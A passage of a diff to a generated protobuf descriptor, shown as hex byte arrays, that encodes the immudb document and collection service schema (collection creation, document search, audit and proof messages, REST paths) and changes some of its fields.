0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x4b, 0x65, 0x79, 0x73, 0x12, 0x5c, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x18, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xb1, 0x03, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x60, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, - 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, - 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x5a, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x66, 0x0a, 0x15, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, - 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x69, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x4f, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x22, 0x4e, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x32, 0x0a, 0x08, - 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x52, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, - 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, - 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, - 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, - 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, - 0x10, 0x05, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, - 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, - 0x4e, 0x47, 0x10, 0x02, 0x32, 0xd3, 0x07, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2d, 0x2e, 0x69, 0x6d, + 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xa9, 0x02, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x5f, 0x0a, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x1a, 0x62, 0x0a, 0x10, + 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0xa8, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x07, 0x72, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, - 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x12, 0xa5, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x30, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x96, 0x01, 0x0a, - 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2c, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, + 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, + 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x44, 0x22, 0x44, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x35, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x21, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, + 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0xb7, 0x03, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x62, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 